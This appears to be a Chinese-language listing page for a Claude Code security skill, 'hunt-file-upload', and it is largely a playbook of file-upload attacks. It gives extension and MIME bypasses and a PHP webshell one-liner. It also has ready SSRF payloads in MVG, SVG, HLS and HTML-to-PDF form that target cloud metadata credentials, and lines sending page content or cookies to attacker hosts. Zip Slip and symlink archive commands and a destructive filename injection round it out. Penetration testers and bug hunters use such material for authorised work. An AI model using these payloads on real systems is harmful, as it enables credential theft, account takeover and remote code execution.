关于 hunt-file-upload
hunt-file-upload 是用于评估文件上传功能的安全测试技能,涵盖绕过方式、文件处理攻击及验证要点,供安全研究人员使用。
主要功能
- 01扩展名、MIME 与魔数绕过检查
- 02SVG、Office 与压缩包攻击模式
- 03ImageMagick、FFmpeg 和 PDF 的 SSRF 案例
- 04上传漏洞验证与常见误区
适用场景
- 01评估服务端上传校验
- 02测试图像和文档处理流程
- 03检查压缩包解压的路径遍历风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-file-upload安装后在 Claude Code 中输入/hunt-file-upload确认已加载。
详细介绍
Content-Type 与扩展名绕过
Content-Type 绕过
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
文件上传绕过技巧(10 种)
| 攻击 | 方法 | 防护 |
|---|---|---|
| 扩展名绕过 | shell.php.jpg、shell.pHp、shell.php5 | 使用允许列表 + 提取最终扩展名 |
| 空字节 | shell.php%00.jpg | 清理空字节 |
| 双扩展名 | shell.jpg.php | 只允许单个扩展名 |
| MIME 伪造 | Content-Type: image/jpeg,但正文为 .php 内容 | 校验魔数,而非 MIME 标头 |
| 魔数前缀 | 在 PHP 代码前添加 GIF89a; | 解析整个文件,而不只是标头 |
| 多格式文件 | 同时是有效的 JPEG 和 PHP 文件 | 通过图像库处理,若无效则拒绝 |
| SVG JavaScript | <svg onload="..."> | 清理 SVG,或完全禁止 |
| DOCX 中的 XXE | Office ZIP 中包含恶意 XML | 禁用外部实体 |
| ZIP 路径穿越 | 压缩包中包含 ../../../etc/passwd | 校验解压后的路径 |
| 文件名注入 | 文件名中包含 ; rm -rf / | 清理文件名 + 使用 UUID 名称 |
魔数参考
| 类型 | 十六进制 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
通过 SVG 实现存储型 XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg 利用
ImageMagick SSRF / 文件读取(ImageTragick 系列及现代变体)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
通过 HLS 播放列表实现 FFmpeg SSRF
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
Headless Chrome / PDF 生成器 SSRF
HTML → PDF 转换器攻击
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://[REDACTED_IP]/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
压缩包解压攻击(Zip Slip / 符号链接)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
验证
运行此自测,确认已准备好进行文件上传漏洞排查:
-
技能完整性——确认技能文件可读且格式正确:
grep -q "name: hunt-file-upload" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查——确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分——确认已记录相关陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认技能结构规范且可供使用。
陷阱
- 上传后无法执行——将
.php文件上传到以 text/plain 格式提供文件的目录,并不构成 RCE。需要代码执行,而不只是文件存储。 - 跨源渲染时的 SVG XSS——上传到不同源的 SVG 可能因 CSP 或同源策略而无法执行脚本。请在实际渲染环境中测试。
- 仅绕过扩展名黑名单,但未进行服务器端验证——绕过客户端扩展名检查无法证明任何问题。务必测试服务器端是否接受文件。
- 伪造 Content-Type——更改 Content-Type 标头不会改变服务器处理文件的方式。需要确认服务器端是否存在 MIME 混淆。
- 文件名中的路径穿越——文件名中的
../../../etc/passwd属于路径穿越,而非上传漏洞利用。请区分两者。
相关技能与攻击链
hunt-rce— 在经典 PHP/JSP/ASPX 技术栈中,一旦发现可直接访问的上传目录或由反序列化数据驱动的处理器,文件上传就是最常见的 RCE 路径。攻击链原语:多态文件GIF89a;<?php system($_GET['c']);?>绕过魔数检查 +.phtml扩展名绕过允许列表 →GET /uploads/shell.phtml?c=id→ RCE;或者上传 PHPphar://文件到会对攻击者控制的路径调用file_exists()的接收点 → PHP 对象反序列化 → RCE。hunt-xxe— Office 格式(DOCX/XLSX/PPTX)、SVG 和 SOAP 附件都是 ZIP 内的 XML——每个上传后再解析的功能都可能存在潜在 XXE。攻击链原语:上传一个 DOCX,其[Content_Types].xml或word/document.xml包含指向攻击者控制的 DTD 的参数实体 DTD → 盲 XXE 带外文件读取 → 通过文档解析器外传/etc/passwd或web.config。hunt-xss— 上传后再通过同源提供的 SVG、HTML 文件和 PDF 都是存储型 XSS 的温床。攻击链原语:上传含有<script>fetch('//attacker/?'+document.cookie)</script>的 SVG → 受害者访问app.target.com/uploads/x.svg上的附件(同源,未进行沙箱隔离)→ 窃取 Cookie → 通过会话劫持实现 ATO。hunt-ssrf— 图像处理库(ImageMagick、ffmpeg)会从上传文件内部获取远程 URL。攻击链原语:上传含有<image xlink:href="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/">的 SVG/MVG,或使用 ffmpegconcat:http://internal/...→ SSRF 访问 AWS IMDS → 获取云凭证;ImageTragick CVE-2016-3714 系列漏洞在旧版服务器集群中依然存在。security-arsenal— 使用文件上传绕过树:10 行的扩展名/MIME/魔数绕过表(双扩展名、空字节、大小写变体、.phtml/.phar/.php5/.pht、上传.htaccess以重新启用处理程序、在 IIS 上上传web.config)、SVG/MVG/SVGZ 载荷、DOCX-XXE 模板、归档文件中的 ZIP-slip 路径遍历、多态文件生成器。triage-validation— 应用可复现性关卡。成功上传但从未被提供、执行或解析的文件不算发现——它只是一个只写数据块。关键级 RCE 必须通过上传的 shell 实际完成whoami往返验证;存储型 XSS 必须在受害者的浏览器中触发弹窗,而不只是文件存在于磁盘上。
阶段 X — 处理竞态与 CDN 缓存投毒
处理竞态:上传无害文件 → 处理器验证通过 → 攻击者在文件被提供前将其替换为恶意文件。
通过上传请求头进行 CDN 缓存投毒:对上传的图像强制设置 Cache-Control: public, max-age=31536000 + Content-Type: text/html。
Zip Slip:创建一个包含路径遍历条目 ../../../var/www/html/shell.php 的归档文件。
评论
支持 Markdown